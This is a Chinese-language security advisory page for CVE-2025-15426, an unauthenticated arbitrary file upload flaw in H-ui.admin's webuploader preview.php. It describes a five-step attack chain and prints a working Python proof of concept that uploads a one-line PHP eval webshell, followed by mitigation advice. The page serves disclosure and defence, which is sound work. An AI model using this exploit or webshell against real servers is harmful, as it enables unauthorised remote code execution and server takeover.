IPBUF安全漏洞报告
English
CVE-2025-15426 CVSS 7.3 高危

CVE-2025-15426: H-ui.admin 任意文件上传漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15426
漏洞类型
任意文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jackying H-ui.admin

相关标签

任意文件上传H-ui.adminwebshell远程代码执行高危漏洞无需认证文件上传绕过

漏洞概述

CVE-2025-15426是发现于jackying H-ui.admin管理系统中的一个高危安全漏洞。该漏洞存在于系统的文件上传功能模块中,具体位于/lib/webuploader/0.1.5/server/preview.php文件。由于该文件未对用户上传的文件类型和内容进行充分的验证和过滤,攻击者可以绕过安全检查,上传任意类型的恶意文件,包括webshell脚本。一旦攻击者成功上传恶意文件,即可通过访问该文件在服务器上执行任意代码,从而获得服务器的完全控制权。此漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低,无需认证和用户交互即可利用。攻击者可通过网络远程发起攻击,对系统的机密性、完整性和可用性均造成较低至中等程度的影响。建议受影响的用户尽快采取防护措施,避免遭受恶意攻击。

技术细节

该漏洞是由于H-ui.admin管理系统中的/lib/webuploader/0.1.5/server/preview.php文件存在不安全的文件上传处理逻辑所导致。攻击者可以直接访问该上传接口,无需任何认证即可上传文件。系统未能对上传文件的扩展名、MIME类型和文件内容进行严格的验证,允许多种危险文件类型的上传,如.php、.jsp、.asp等可执行脚本文件。攻击者可以构造恶意请求,将包含webshell代码的文件伪装成普通图片或其他合法文件类型上传到服务器。上传成功后,攻击者通过访问上传的文件路径,即可触发webshell执行,从而在服务器上执行系统命令、读取敏感数据或进行进一步的横向移动。由于该接口存在于管理后台相关的库文件中,攻击者可以利用此漏洞获取服务器的高权限访问权限。

攻击链分析

STEP 1
步骤1
识别目标:扫描目标网站,确认其使用H-ui.admin管理系统,并定位到存在漏洞的上传接口/lib/webuploader/0.1.5/server/preview.php
STEP 2
步骤2
构造恶意请求:准备包含webshell代码的恶意文件(如shell.php),构造符合上传接口要求的HTTP POST请求
STEP 3
步骤3
绕过验证上传:向漏洞接口发送上传请求,由于系统未进行严格的文件类型和内容验证,恶意文件被成功上传到服务器
STEP 4
步骤4
触发webshell执行:通过HTTP请求访问上传的webshell文件路径,并携带恶意命令参数,触发服务器执行系统命令
STEP 5
步骤5
获得服务器控制权:成功执行命令后,攻击者可以进一步获取敏感数据、安装后门、进行横向移动或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15426: H-ui.admin Unrestricted File Upload # Target: H-ui.admin <= 3.1 # Endpoint: /lib/webuploader/0.1.5/server/preview.php def exploit(target_url, webshell_content): """ Exploit for CVE-2025-15426 Uploads a webshell to the vulnerable H-ui.admin server """ upload_url = f"{target_url}/lib/webuploader/0.1.5/server/preview.php" # Prepare the malicious file files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: # Send the malicious upload request response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") print(f"[+] Access the shell at: {target_url}/uploads/shell.php") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/admin") sys.exit(1) target = sys.argv[1].rstrip('/') # Simple PHP webshell webshell = "<?php @eval($_POST['cmd']); ?>" exploit(target, webshell)

影响范围

jackying H-ui.admin <= 3.1

防御指南

临时缓解措施
立即限制或禁用/lib/webuploader/0.1.5/server/preview.php文件的上传功能,或在Web服务器配置中禁止访问该路径。同时配置Web服务器使上传目录中的文件无法直接执行。对所有文件上传接口实施严格的文件类型白名单机制,仅允许上传图片、文档等安全文件类型,并使用文件内容检测替代文件扩展名检测。部署入侵检测系统监控异常的上传和访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表